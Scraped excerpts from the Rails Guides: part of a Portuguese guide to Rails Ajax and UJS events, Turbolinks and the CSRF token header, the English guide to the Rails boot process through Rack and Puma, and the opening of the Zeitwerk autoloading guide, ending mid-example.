Você pode pedir uma confirmação extra do usuário adicionando o atributo data-confirm nos links e formulários. O usuário verá uma caixa de diálogo confirm() em JavaScript contendo o texto do atributo. Se o usuário escolher cancelar, a ação não acontece.

Adicionando esse atributo nos links, será disparado a mensagem no clique, e adicionando aos formulários, será disparado no submit. Por exemplo:

<%= link_to "Dangerous zone", dangerous_zone_path,
data: { confirm: 'Are you sure?' } %>

<%= link_to "Dangerous zone", dangerous_zone_path, data: { confirm: 'Are you sure?' } %> Copiar

Isso gera:

<a href="..." data-confirm="Are you sure?">Dangerous zone</a>

<a href="..." data-confirm="Are you sure?">Dangerous zone</a> Copiar

O atributo também está disponível no botão submit do formulário. Isso permite você customizar a mensagem de aviso dependendo do botão que foi ativado. Nesse caso, você não deve ter um data-confirm no formulário em si.

A confirmação padrão usa a mensagem de confirmação JavaScript, mas você pode mudar isso pegando o evento confirm, o qual é disparado antes da janela de confirmação aparecer para o usuário. Para cancelar essa confirmação padrão, você tem que fazer o gerenciador de confirmação retornar false.

3.4 Desativando Automaticamente

Também é possível desabilitar automaticamente um input enquanto o formulário está sendo enviado usando o atributo data-disable-with. Isso evita acidentes de duplo cliques do usuário, o qual resultaria em uma dupla requisição HTTP que o backend pode não detectar como tal. O valor do atributo é o texto que se tornará o novo valor do botão quando está no estado desabilitado.

Isso também funciona para links com o atributo data-method.

Por exemplo:

<%= form_with(model: Article.new) do |form| %>
<%= form.submit data: { disable_with: "Saving..." } %>
<% end %>

<%= form_with(model: Article.new) do |form| %> <%= form.submit data: { disable_with: "Saving..." } %> <% end %> Copiar

Isso gera um formulário com:

<input data-disable-with="Saving..." type="submit">

<input data-disable-with="Saving..." type="submit"> Copiar

3.5 Manipuladores de eventos Rails-ujs

Rails 5.1 introduziu o rails-ujs e removeram o jQuery como dependência. Como resultado o JavaScript discreto (unobtrusive (UJS)) foi reescrito para operar sem jQuery. Estas introduções causam pequenas mudanças para os eventos personalizados executados durante a requisição:

A assinatura de chamadas para os manipuladores de eventos do UJS mudaram. Diferente da versão com jQuery, todos os eventos personalizados retornam apenas um parâmetro: event. Nesse parâmetro, existe um atributo adicional, o detail, ao qual contém um array de parâmetros extra. Para mais informação sobre o jquery-ujs usado previamente no Rails 5 e anteriores, leia a wiki jquery-ujs.

Nome do evento

Parâmetros extra (event.detail)

Quando é executado

ajax:before

Antes de toda regra de negócio no ajax.

ajax:beforeSend

[xhr, options]

Antes da requisição ser enviada.

ajax:send

[xhr]

Quando a requisição é enviada.

ajax:stopped

Quando a requisição é parada.

ajax:success

[response, status, xhr]

Após a conclusão, se a resposta foi bem sucedida.

ajax:error

[response, status, xhr]

Após a conclusão, se a resposta foi um erro.

ajax:complete

[xhr, status]

Após a requisição ser concluída, não importa o resultado.

Exemplo de uso:

document.body.addEventListener("ajax:success", (event) => {
const [data, status, xhr] = event.detail;
});

document.body.addEventListener("ajax:success", (event) => { const [data, status, xhr] = event.detail; }); Copiar

3.6 Eventos Paravéis

Você pode parar a execução da requisição Ajax executando o event.preventDefault() a partir dos métodos ajax:before ou ajax:beforeSend. O evento ajax:before pode manipular os dados do formulário antes da serialização e o evento ajax:beforeSend é útil para adicionar headers personalizados.

Se você parar o evento ajax:aborted:file, o comportamento padrão de permitir que o navegador envie o formulário por meios normais (i.e. requisição sem Ajax) será cancelada e o formulário não será enviado de nenhuma forma. Isso é útil para implementar seu próprio ambiente de upload de arquivos via Ajax.

Observação, você deveria usar o return false para prevenir um evento para o jquery-ujs e event.preventDefault() para o rails-ujs.

4 Preocupações Do Lado Do Servidor

Ajax não é só do lado do cliente, você também precisa trabalhar no lado do servidor para oferecer suporte, geralmente, as pessoas gostam que suas requisições retornem JSON mais do que HTML. Vamos discutir o que é preciso fazer para isso acontecer.

4.1 Um Exemplo Simples

Imagine que você tenha uma série de usuários que você gostaria de mostrar e fornecer um formulário nessa mesma página para criar um novo usuário. A ação index do seu controller se parece com isso:

class UsersController < ApplicationController
def index
@users = User.all
@user = User.new
end
# ...

class UsersController < ApplicationController def index @users = User.all @user = User.new end # ... Copiar

A view index (app/views/users/index.html.erb) contém:

<b>Users</b>

<ul id="users">
<%= render @users %>
</ul>

<br>

<%= form_with model: @user do |form| %>
<%= form.label :name %><br>
<%= form.text_field :name %>
<%= form.submit %>
<% end %>

<b>Users</b> <ul id="users"> <%= render @users %> </ul> <br> <%= form_with model: @user do |form| %> <%= form.label :name %><br> <%= form.text_field :name %> <%= form.submit %> <% end %> Copiar

A partial app/views/users/_user.html.erb contém o seguinte:

<li><%= user.name %></li>

<li><%= user.name %></li> Copiar

A parte de cima da página index mostra os usuários. A parte de baixo fornece o formulário para criar um novo usuário.

O formulário de baixo chamará a ação create no UsersController. Por causa da opção remote definida como true, a requisição será enviada para o UsersController como uma requisição Ajax, procurando por JavaScript. Afim de atender a requisição, a ação create do seu controller ficaria assim:

# app/controllers/users_controller.rb
# ......
def create
@user = User.new(params[:user])

respond_to do |format|
if @user.save
format.html { redirect_to @user, notice: 'User was successfully created.' }
format.js
format.json { render json: @user, status: :created, location: @user }
else
format.html { render action: "new" }
format.json { render json: @user.errors, status: :unprocessable_entity }
end
end
end

# app/controllers/users_controller.rb # ...... def create @user = User.new(params[:user]) respond_to do |format| if @user.save format.html { redirect_to @user, notice: 'User was successfully created.' } format.js format.json { render json: @user, status: :created, location: @user } else format.html { render action: "new" } format.json { render json: @user.errors, status: :unprocessable_entity } end end end Copiar

Observe o format.js no bloco respond_to: que permite o seu controller responder a sua requisição Ajax. Então você tem um correspondente arquivo view app/views/users/create.js.erb que gera o atual código JavaScript que será enviado e executado no lado do cliente.

var users = document.querySelector("#users");
users.insertAdjacentHTML("beforeend", "<%= j render(@user) %>");

var users = document.querySelector("#users"); users.insertAdjacentHTML("beforeend", "<%= j render(@user) %>"); Copiar

Renderização de views JavaScript não faz nenhum pré-processamento, então você não deve usar a sintaxe ES6 aqui.

5 Turbolinks

O Rails vem com a biblioteca Turbolinks, que utiliza Ajax para acelerar a renderização na maioria das aplicações.

5.1 Como o Turbolinks Funciona

O Turbolinks anexa um manipulador de cliques em todas as tags <a> da página. Se seu navegador tiver suporte ao PushState, o Turbolinks fará uma requisição para a página, analisará a resposta, e trocará o <body> inteiro da página com o <body> da resposta. E então ele usará o PushState para mudar a URL para a correta, preservando a semântica da atualização e retornando a URLs bonitas.

Se você quiser desabilitar o Turbolinks para certos links, adicione o atributo data-turbolinks="false" para a tag:

<a href="..." data-turbolinks="false">No turbolinks here</a>.

<a href="..." data-turbolinks="false">No turbolinks here</a>. Copiar

5.2 Eventos de Mudança de Página

Muitas vezes você vai querer fazer algum tipo de mudança no carregamento da página. Usando o DOM, você escreveria algo assim:

window.addEventListener("load", () => {
alert("page has loaded!");
});

window.addEventListener("load", () => { alert("page has loaded!"); }); Copiar

Contudo, como o Turbolinks sobreescreve o processo padrão de carregamento da página, o evento no qual ele depende não será disparado. Se você tem um código que se parece com isso, você deve mudar seu código para fazer isso no lugar:

document.addEventListener("turbolinks:load", () => {
alert("page has loaded!");
});

document.addEventListener("turbolinks:load", () => { alert("page has loaded!"); }); Copiar

Para mais detalhes, incluindo outros eventos que você pode disparar, veja o README do Turbolinks

6 Token de Falsa Requisição Entre Sites (CSRF) em Ajax

Ao usar outra biblioteca para fazer chamadas Ajax, é necessário adicionar o token de segurança como um header padrão para chamadas Ajax na sua biblioteca. Para pegar o token:

const token = document.getElementsByName(
"csrf-token"
)[0].content;

const token = document.getElementsByName( "csrf-token" )[0].content; Copiar

Você pode então enviar esse token como um X-CSRF-Token no seu header para requisições Ajax. Você não precisa adicionar o token CSRF para requisições GET, apenas para requisições "não GET".

Você pode ler mais sobre Falsa Requisição Entre Sites (CSRF) no guia de segurança.

7 Outros recursos

Aqui estão alguns links úteis para te ajudar a aprender mais:

- rails-ujs wiki

- Railscasts: Unobtrusive JavaScript

- Railscasts: Turbolinks

The Rails Initialization Process —...

1 Launch!

Let's start to boot and initialize the app. A Rails application is usually started by running bin/rails console or bin/rails server.

1.1 bin/rails

This file is as follows:

#!/usr/bin/env ruby
APP_PATH = File.expand_path('../config/application', __dir__)
require_relative "../config/boot"
require "rails/commands"

#!/usr/bin/env ruby APP_PATH = File.expand_path('../config/application', __dir__) require_relative "../config/boot" require "rails/commands" Copiar

The APP_PATH constant will be used later in rails/commands. The config/boot file referenced here is the config/boot.rb file in our application which is responsible for loading Bundler and setting it up.

1.2 config/boot.rb

config/boot.rb contains:

ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__)

require "bundler/setup" # Set up gems listed in the Gemfile.

ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__) require "bundler/setup" # Set up gems listed in the Gemfile. Copiar

In a standard Rails application, there's a Gemfile which declares all dependencies of the application. config/boot.rb sets ENV['BUNDLE_GEMFILE'] to the location of this file. If the Gemfile exists, then bundler/setup is required. The require is used by Bundler to configure the load path for your Gemfile's dependencies.

A standard Rails application depends on several gems, specifically:

- actioncable

- actionmailer

- actionpack

- actionview

- activejob

- activemodel

- activerecord

- activestorage

- activesupport

- actionmailbox

- actiontext

- arel

- builder

- bundler

- erubi

- i18n

- mail

- mime-types

- rack

- rack-test

- rails

- railties

- rake

- sqlite3

- thor

- tzinfo

1.3 rails/commands.rb

Once config/boot.rb has finished, the next file that is required is rails/commands, which helps in expanding aliases. In the current case, the ARGV array simply contains server which will be passed over:

require "rails/command"

aliases = {
"g"  => "generate",
"d"  => "destroy",
"c"  => "console",
"s"  => "server",
"db" => "dbconsole",
"r"  => "runner",
"t"  => "test"
}

command = ARGV.shift
command = aliases[command] || command

Rails::Command.invoke command, ARGV

require "rails/command" aliases = { "g" => "generate", "d" => "destroy", "c" => "console", "s" => "server", "db" => "dbconsole", "r" => "runner", "t" => "test" } command = ARGV.shift command = aliases[command] || command Rails::Command.invoke command, ARGV Copiar

If we had used s rather than server, Rails would have used the aliases defined here to find the matching command.

1.4 rails/command.rb

When one types a Rails command, invoke tries to lookup a command for the given namespace and executes the command if found.

If Rails doesn't recognize the command, it hands the reins over to Rake to run a task of the same name.

As shown, Rails::Command displays the help output automatically if the namespace is empty.

module Rails
module Command
class << self
def invoke(full_namespace, args = [], **config)
namespace = full_namespace = full_namespace.to_s

if char = namespace =~ /:(\w+)$/
command_name, namespace = $1, namespace.slice(0, char)
else
command_name = namespace
end

command_name, namespace = "help", "help" if command_name.blank? || HELP_MAPPINGS.include?(command_name)
command_name, namespace = "version", "version" if %w( -v --version ).include?(command_name)

command = find_by_namespace(namespace, command_name)
if command && command.all_commands[command_name]
command.perform(command_name, args, config)
else
find_by_namespace("rake").perform(full_namespace, args, config)
end
end
end
end
end

module Rails module Command class << self def invoke(full_namespace, args = [], **config) namespace = full_namespace = full_namespace.to_s if char = namespace =~ /:(\w+)$/ command_name, namespace = $1, namespace.slice(0, char) else command_name = namespace end command_name, namespace = "help", "help" if command_name.blank? || HELP_MAPPINGS.include?(command_name) command_name, namespace = "version", "version" if %w( -v --version ).include?(command_name) command = find_by_namespace(namespace, command_name) if command && command.all_commands[command_name] command.perform(command_name, args, config) else find_by_namespace("rake").perform(full_namespace, args, config) end end end end end Copiar

With the server command, Rails will further run the following code:

module Rails
module Command
class ServerCommand < Base # :nodoc:
def perform
extract_environment_option_from_argument
set_application_directory!
prepare_restart

Rails::Server.new(server_options).tap do |server|
# Require application after server sets environment to propagate
# the --environment option.
require APP_PATH
Dir.chdir(Rails.application.root)

if server.serveable?
print_boot_information(server.server, server.served_url)
after_stop_callback = -> { say "Exiting" unless options[:daemon] }
server.start(after_stop_callback)
else
say rack_server_suggestion(using)
end
end
end
end
end
end

module Rails module Command class ServerCommand < Base # :nodoc: def perform extract_environment_option_from_argument set_application_directory! prepare_restart Rails::Server.new(server_options).tap do |server| # Require application after server sets environment to propagate # the --environment option. require APP_PATH Dir.chdir(Rails.application.root) if server.serveable? print_boot_information(server.server, server.served_url) after_stop_callback = -> { say "Exiting" unless options[:daemon] } server.start(after_stop_callback) else say rack_server_suggestion(using) end end end end end end Copiar

This file will change into the Rails root directory (a path two directories up from APP_PATH which points at config/application.rb), but only if the config.ru file isn't found. This then starts up the Rails::Server class.

1.5 actionpack/lib/action_dispatch.rb

Action Dispatch is the routing component of the Rails framework. It adds functionality like routing, session, and common middlewares.

1.6 rails/commands/server/server_command.rb

The Rails::Server class is defined in this file by inheriting from Rack::Server. When Rails::Server.new is called, this calls the initialize method in rails/commands/server/server_command.rb:

module Rails
class Server < ::Rack::Server
def initialize(options = nil)
@default_options = options || {}
super(@default_options)
set_environment
end
end
end

module Rails class Server < ::Rack::Server def initialize(options = nil) @default_options = options || {} super(@default_options) set_environment end end end Copiar

Firstly, super is called which calls the initialize method on Rack::Server.

1.7 Rack: lib/rack/server.rb

Rack::Server is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.

The initialize method in Rack::Server simply sets several variables:

module Rack
class Server
def initialize(options = nil)
@ignore_options = []

if options
@use_default_options = false
@options = options
@app = options[:app] if options[:app]
else
argv = defined?(SPEC_ARGV) ? SPEC_ARGV : ARGV
@use_default_options = true
@options = parse_options(argv)
end
end
end
end

module Rack class Server def initialize(options = nil) @ignore_options = [] if options @use_default_options = false @options = options @app = options[:app] if options[:app] else argv = defined?(SPEC_ARGV) ? SPEC_ARGV : ARGV @use_default_options = true @options = parse_options(argv) end end end end Copiar

In this case, return value of Rails::Command::ServerCommand#server_options will be assigned to options. When lines inside if statement is evaluated, a couple of instance variables will be set.

server_options method in Rails::Command::ServerCommand is defined as follows:

module Rails
module Command
class ServerCommand
no_commands do
def server_options
{
user_supplied_options: user_supplied_options,
server:                using,
log_stdout:            log_to_stdout?,
Port:                  port,
Host:                  host,
DoNotReverseLookup:    true,
config:                options[:config],
environment:           environment,
daemonize:             options[:daemon],
pid:                   pid,
caching:               options[:dev_caching],
restart_cmd:           restart_command,
early_hints:           early_hints
}
end
end
end
end
end

module Rails module Command class ServerCommand no_commands do def server_options { user_supplied_options: user_supplied_options, server: using, log_stdout: log_to_stdout?, Port: port, Host: host, DoNotReverseLookup: true, config: options[:config], environment: environment, daemonize: options[:daemon], pid: pid, caching: options[:dev_caching], restart_cmd: restart_command, early_hints: early_hints } end end end end end Copiar

The value will be assigned to instance variable @options.

After super has finished in Rack::Server, we jump back to rails/commands/server/server_command.rb. At this point, set_environment is called within the context of the Rails::Server object.

module Rails
module Server
def set_environment
ENV["RAILS_ENV"] ||= options[:environment]
end
end
end

module Rails module Server def set_environment ENV["RAILS_ENV"] ||= options[:environment] end end end Copiar

After initialize has finished, we jump back into the server command where APP_PATH (which was set earlier) is required.

1.8 config/application

When require APP_PATH is executed, config/application.rb is loaded (recall that APP_PATH is defined in bin/rails). This file exists in your application and it's free for you to change based on your needs.

1.9 Rails::Server#start

After config/application is loaded, server.start is called. This method is defined like this:

module Rails
class Server < ::Rack::Server
def start(after_stop_callback = nil)
trap(:INT) { exit }
create_tmp_directories
setup_dev_caching
log_to_stdout if options[:log_stdout]

super()
# ...
end

private
def setup_dev_caching
if options[:environment] == "development"
Rails::DevCaching.enable_by_argument(options[:caching])
end
end

def create_tmp_directories
%w(cache pids sockets).each do |dir_to_make|
FileUtils.mkdir_p(File.join(Rails.root, "tmp", dir_to_make))
end
end

def log_to_stdout
wrapped_app # touch the app so the logger is set up

console = ActiveSupport::Logger.new(STDOUT)
console.formatter = Rails.logger.formatter
console.level = Rails.logger.level

unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDOUT)
Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
end
end
end
end

module Rails class Server < ::Rack::Server def start(after_stop_callback = nil) trap(:INT) { exit } create_tmp_directories setup_dev_caching log_to_stdout if options[:log_stdout] super() # ... end private def setup_dev_caching if options[:environment] == "development" Rails::DevCaching.enable_by_argument(options[:caching]) end end def create_tmp_directories %w(cache pids sockets).each do |dir_to_make| FileUtils.mkdir_p(File.join(Rails.root, "tmp", dir_to_make)) end end def log_to_stdout wrapped_app # touch the app so the logger is set up console = ActiveSupport::Logger.new(STDOUT) console.formatter = Rails.logger.formatter console.level = Rails.logger.level unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDOUT) Rails.logger.extend(ActiveSupport::Logger.broadcast(console)) end end end end Copiar

This method creates a trap for INT signals, so if you CTRL-C the server, it will exit the process. As we can see from the code here, it will create the tmp/cache, tmp/pids, and tmp/sockets directories. It then enables caching in development if bin/rails server is called with --dev-caching. Finally, it calls wrapped_app which is responsible for creating the Rack app, before creating and assigning an instance of ActiveSupport::Logger.

The super method will call Rack::Server.start which begins its definition as follows:

module Rack
class Server
def start &blk
if options[:warn]
$-w = true
end

if includes = options[:include]
$LOAD_PATH.unshift(*includes)
end

if library = options[:require]
require library
end

if options[:debug]
$DEBUG = true
require "pp"
p options[:server]
pp wrapped_app
pp app
end

check_pid! if options[:pid]

# Touch the wrapped app, so that the config.ru is loaded before
# daemonization (i.e. before chdir, etc).
handle_profiling(options[:heapfile], options[:profile_mode], options[:profile_file]) do
wrapped_app
end

daemonize_app if options[:daemonize]

write_pid if options[:pid]

trap(:INT) do
if server.respond_to?(:shutdown)
server.shutdown
else
exit
end
end

server.run wrapped_app, options, &blk
end
end
end

module Rack class Server def start &blk if options[:warn] $-w = true end if includes = options[:include] $LOAD_PATH.unshift(*includes) end if library = options[:require] require library end if options[:debug] $DEBUG = true require "pp" p options[:server] pp wrapped_app pp app end check_pid! if options[:pid] # Touch the wrapped app, so that the config.ru is loaded before # daemonization (i.e. before chdir, etc). handle_profiling(options[:heapfile], options[:profile_mode], options[:profile_file]) do wrapped_app end daemonize_app if options[:daemonize] write_pid if options[:pid] trap(:INT) do if server.respond_to?(:shutdown) server.shutdown else exit end end server.run wrapped_app, options, &blk end end end Copiar

The interesting part for a Rails app is the last line, server.run. Here we encounter the wrapped_app method again, which this time we're going to explore more (even though it was executed before, and thus memoized by now).

module Rack
class Server
def wrapped_app
@wrapped_app ||= build_app app
end
end
end

module Rack class Server def wrapped_app @wrapped_app ||= build_app app end end end Copiar

The app method here is defined like so:

module Rack
class Server
def app
@app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
end

# ...

private
def build_app_and_options_from_config
if !::File.exist? options[:config]
abort "configuration #{options[:config]} not found"
end

app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
@options.merge!(options) { |key, old, new| old }
app
end

def build_app_from_string
Rack::Builder.new_from_string(self.options[:builder])
end

end
end

module Rack class Server def app @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config end # ... private def build_app_and_options_from_config if !::File.exist? options[:config] abort "configuration #{options[:config]} not found" end app, options = Rack::Builder.parse_file(self.options[:config], opt_parser) @options.merge!(options) { |key, old, new| old } app end def build_app_from_string Rack::Builder.new_from_string(self.options[:builder]) end end end Copiar

The options[:config] value defaults to config.ru which contains this:

# This file is used by Rack-based servers to start the application.

require_relative "config/environment"

run Rails.application

# This file is used by Rack-based servers to start the application. require_relative "config/environment" run Rails.application Copiar

The Rack::Builder.parse_file method here takes the content from this config.ru file and parses it using this code:

module Rack
class Builder
def self.load_file(path, opts = Server::Options.new)
# ...
app = new_from_string cfgfile, config
# ...
end

# ...

def self.new_from_string(builder_script, file="(rackup)")
eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app",
TOPLEVEL_BINDING, file, 0
end
end
end

module Rack class Builder def self.load_file(path, opts = Server::Options.new) # ... app = new_from_string cfgfile, config # ... end # ... def self.new_from_string(builder_script, file="(rackup)") eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app", TOPLEVEL_BINDING, file, 0 end end end Copiar

The initialize method of Rack::Builder will take the block here and execute it within an instance of Rack::Builder. This is where the majority of the initialization process of Rails happens. The require line for config/environment.rb in config.ru is the first to run:

require_relative "config/environment"

require_relative "config/environment" Copiar

1.10 config/environment.rb

This file is the common file required by config.ru (bin/rails server) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.

This file begins with requiring config/application.rb:

require_relative "application"

require_relative "application" Copiar

1.11 config/application.rb

This file requires config/boot.rb:

require_relative "boot"

require_relative "boot" Copiar

But only if it hasn't been required before, which would be the case in bin/rails server but wouldn't be the case with Passenger.

Then the fun begins!

2 Loading Rails

The next line in config/application.rb is:

require "rails/all"

require "rails/all" Copiar

2.1 railties/lib/rails/all.rb

This file is responsible for requiring all the individual frameworks of Rails:

require "rails"

%w(
active_record/railtie
active_storage/engine
action_controller/railtie
action_view/railtie
action_mailer/railtie
active_job/railtie
action_cable/engine
action_mailbox/engine
action_text/engine
rails/test_unit/railtie
sprockets/railtie
).each do |railtie|
begin
require railtie
rescue LoadError
end
end

require "rails" %w( active_record/railtie active_storage/engine action_controller/railtie action_view/railtie action_mailer/railtie active_job/railtie action_cable/engine action_mailbox/engine action_text/engine rails/test_unit/railtie sprockets/railtie ).each do |railtie| begin require railtie rescue LoadError end end Copiar

This is where all the Rails frameworks are loaded and thus made available to the application. We won't go into detail of what happens inside each of those frameworks, but you're encouraged to try and explore them on your own.

For now, just keep in mind that common functionality like Rails engines, I18n and Rails configuration are all being defined here.

2.2 Back to config/environment.rb

The rest of config/application.rb defines the configuration for the Rails::Application which will be used once the application is fully initialized. When config/application.rb has finished loading Rails and defined the application namespace, we go back to config/environment.rb. Here, the application is initialized with Rails.application.initialize!, which is defined in rails/application.rb.

2.3 railties/lib/rails/application.rb

The initialize! method looks like this:

def initialize!(group = :default) #:nodoc:
raise "Application has been already initialized." if @initialized
run_initializers(group, self)
@initialized = true
self
end

def initialize!(group = :default) #:nodoc: raise "Application has been already initialized." if @initialized run_initializers(group, self) @initialized = true self end Copiar

You can only initialize an app once. The Railtie initializers are run through the run_initializers method which is defined in railties/lib/rails/initializable.rb:

def run_initializers(group = :default, *args)
return if instance_variable_defined?(:@ran)
initializers.tsort_each do |initializer|
initializer.run(*args) if initializer.belongs_to?(group)
end
@ran = true
end

def run_initializers(group = :default, *args) return if instance_variable_defined?(:@ran) initializers.tsort_each do |initializer| initializer.run(*args) if initializer.belongs_to?(group) end @ran = true end Copiar

The run_initializers code itself is tricky. What Rails is doing here is traversing all the class ancestors looking for those that respond to an initializers method. It then sorts the ancestors by name, and runs them. For example, the Engine class will make all the engines available by providing an initializers method on them.

The Rails::Application class, as defined in railties/lib/rails/application.rb defines bootstrap, railtie, and finisher initializers. The bootstrap initializers prepare the application (like initializing the logger) while the finisher initializers (like building the middleware stack) are run last. The railtie initializers are the initializers which have been defined on the Rails::Application itself and are run between the bootstrap and finishers.

Note: Do not confuse Railtie initializers overall with the load_config_initializers initializer instance or its associated config initializers in config/initializers.

After this is done we go back to Rack::Server.

2.4 Rack: lib/rack/server.rb

Last time we left when the app method was being defined:

module Rack
class Server
def app
@app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
end

# ...

private
def build_app_and_options_from_config
if !::File.exist? options[:config]
abort "configuration #{options[:config]} not found"
end

app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
@options.merge!(options) { |key, old, new| old }
app
end

def build_app_from_string
Rack::Builder.new_from_string(self.options[:builder])
end

end
end

module Rack class Server def app @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config end # ... private def build_app_and_options_from_config if !::File.exist? options[:config] abort "configuration #{options[:config]} not found" end app, options = Rack::Builder.parse_file(self.options[:config], opt_parser) @options.merge!(options) { |key, old, new| old } app end def build_app_from_string Rack::Builder.new_from_string(self.options[:builder]) end end end Copiar

At this point app is the Rails app itself (a middleware), and what happens next is Rack will call all the provided middlewares:

module Rack
class Server
private
def build_app(app)
middleware[options[:environment]].reverse_each do |middleware|
middleware = middleware.call(self) if middleware.respond_to?(:call)
next unless middleware
klass, *args = middleware
app = klass.new(app, *args)
end
app
end
end
end

module Rack class Server private def build_app(app) middleware[options[:environment]].reverse_each do |middleware| middleware = middleware.call(self) if middleware.respond_to?(:call) next unless middleware klass, *args = middleware app = klass.new(app, *args) end app end end end Copiar

Remember, build_app was called (by wrapped_app) in the last line of Rack::Server#start. Here's how it looked like when we left:

server.run wrapped_app, options, &blk

server.run wrapped_app, options, &blk Copiar

At this point, the implementation of server.run will depend on the server you're using. For example, if you were using Puma, here's what the run method would look like:

module Rack
module Handler
module Puma
# ...
def self.run(app, options = {})
conf   = self.config(app, options)

events = options.delete(:Silent) ? ::Puma::Events.strings : ::Puma::Events.stdio

launcher = ::Puma::Launcher.new(conf, :events => events)

yield launcher if block_given?
begin
launcher.run
rescue Interrupt
puts "* Gracefully stopping, waiting for requests to finish"
launcher.stop
puts "* Goodbye!"
end
end
# ...
end
end
end

module Rack module Handler module Puma # ... def self.run(app, options = {}) conf = self.config(app, options) events = options.delete(:Silent) ? ::Puma::Events.strings : ::Puma::Events.stdio launcher = ::Puma::Launcher.new(conf, :events => events) yield launcher if block_given? begin launcher.run rescue Interrupt puts "* Gracefully stopping, waiting for requests to finish" launcher.stop puts "* Goodbye!" end end # ... end end end Copiar

We won't dig into the server configuration itself, but this is the last piece of our journey in the Rails initialization process.

This high level overview will help you understand when your code is executed and how, and overall become a better Rails developer. If you still want to know more, the Rails source code itself is probably the best place to go next.

Autoloading and Reloading Constants...

1 Introduction

This guide documents autoloading in zeitwerk mode, which is new in Rails 6. If you'd like to read about classic mode instead, please check Autoloading and Reloading Constants (Classic Mode).

In a normal Ruby program, dependencies need to be loaded by hand. For example, the following controller uses classes ApplicationController and Post, and normally you'd need to put require calls for them:

# DO NOT DO THIS.
require "application_controller"
require "post"
# DO NOT DO THIS.

class PostsController < ApplicationController
def index
@posts = Post.all
end
end

# DO NOT DO THIS. require "application_controller" require "post" # DO NOT DO THIS. class PostsController < ApplicationController def index @posts = Post.all end end Copiar

This is not the case in Rails applications, where application classes and modules are just available everywhere:

class PostsController < ApplicationController
def index
@posts = Post.all
end
end

class PostsController < ApplicationController def index @posts = Post.all end end Copiar

Idiomatic Rails applications only issue require calls to load stuff from their lib directory, the Ruby standard library, Ruby gems, etc. That is, anything that does not belong to their autoload paths, explained below.

2 Enabling Zeitwerk Mode

The autoloading zeitwerk mode is enabled by default in Rails 6 applications running on CRuby:

# config/application.rb
config.load_defaults 6.0 # enables zeitwerk mode in CRuby

# config/application.rb config.load_defaults 6.0 # enables zeitwerk mode in CRuby Copiar

In zeitwerk mode, Rails uses Zeitwerk internally to autoload, reload, and eager load. Rails instantiates and configures a dedicated Zeitwerk instance that manages the project.

You do not configure Zeitwerk manually in a Rails application. Rather, you configure the application using the portable configuration points explained in this guide, and Rails translates that to Zeitwerk on your behalf.

3 Project Structure

In a Rails application file names have to match the constants they define, with directories acting as namespaces.

For example, the file app/helpers/users_helper.rb should define UsersHelper and the file app/controllers/admin/payments_controller.rb should define Admin::PaymentsController.

By default, Rails configures Zeitwerk to inflect file names with String#camelize. For example, it expects that app/controllers/users_controller.rb defines the constant UsersController because

"users_controller".camelize # => UsersController

"users_controller".camelize # => UsersController Copiar

The section Customizing Inflections below documents ways to override this default.

Please, check the Zeitwerk documentation for further details.

4 Autoload Paths

We refer to the list of application directories whose contents are to be autoloaded as autoload paths. For example, app/models. Such directories represent the root namespace: Object.

Autoload paths are called root directories in Zeitwerk documentation, but we'll stay with "autoload path" in this guide.

Within an autoload path, file names must match the constants they define as documented here.

By default, the autoload paths of an application consist of all the subdirectories of app that exist when the application boots ---except for assets, javascript, views,--- plus the autoload paths of engines it might depend on.

For example, if UsersHelper is implemented in app/helpers/users_helper.rb, the module is autoloadable, you do not need (and should not write) a require call for it:

$ bin/rails runner 'p UsersHelper'
UsersHelper

bin/rails runner 'p UsersHelper' Copiar

Autoload paths automatically pick any custom directories under app. For example, if your application has app/presenters, or app/services, etc., they are added to autoload paths.

The array of autoload paths can be extended by mutating config.autoload_paths, in config/application.rb, but nowadays this is discouraged.

Please, do not mutate ActiveSupport::Dependencies.autoload_paths, the public interface to change autoload paths is config.autoload_paths.

5 $LOAD_PATH

Autoload paths are added to $LOAD_PATH by default. However, Zeitwerk uses absolute file names internally, and your application should not issue require calls for autoloadable files, so those directories are actually not needed there. You can opt-out with this flag:

config.add_autoload_paths_to_load_path = false

config.add_autoload_paths_to_load_path = false Copiar

That may speed legit require calls a bit, since there are less lookups. Also, if your application uses Bootsnap, that saves the library from building unnecessary indexes, and saves the RAM they would need.

6 Reloading

Rails automatically reloads classes and modules if application files change.

More precisely, if the web server is running and application files have been modified, Rails unloads all autoloaded constants just before the next request is processed. That way, application classes or modules used during that request are going to be autoloaded, thus picking up their current implementation in the file system.

Reloading can be enabled or disabled. The setting that controls this behavior is config.cache_classes, which is false by default in development mode (reloading enabled), and true by default in production mode (reloading disabled).

Rails detects files have changed using an evented file monitor (default), or walking the autoload paths, depending on config.file_watcher.

In a Rails console there is no file watcher active regardless of the value of config.cache_classes. This is so because, normally, it would be confusing to have code reloaded in the middle of a console session, the same way you generally want an individual request to be served by a consistent, non-changing set of application classes and modules.

However, you can force a reload in the console by executing reload!:

irb(main):001:0> User.object_id
=> 70136277390120
irb(main):002:0> reload!
Reloading...
=> true
irb(main):003:0> User.object_id
=> 70136284426020

User.object_id reload! User.object_id Copiar

as you can see, the class object stored in the User constant is different after reloading.

6.1 Reloading and Stale Objects

It is very important to understand that Ruby does not have a way to truly reload classes and modules in memory, and have that reflected everywhere they are already used. Technically, "unloading" the User class means removing the User constant via Object.send(:remove_const, "User").

Therefore, code that references a reloadable class or module, but that is not executed again on reload, becomes stale. Let's see an example next.

Let's consider this initializer:

# config/initializers/configure_payment_gateway.rb
# DO NOT DO THIS.
$PAYMENT_GATEWAY = Rails.env.production? ? RealGateway : MockedGateway
# DO NOT DO THIS.

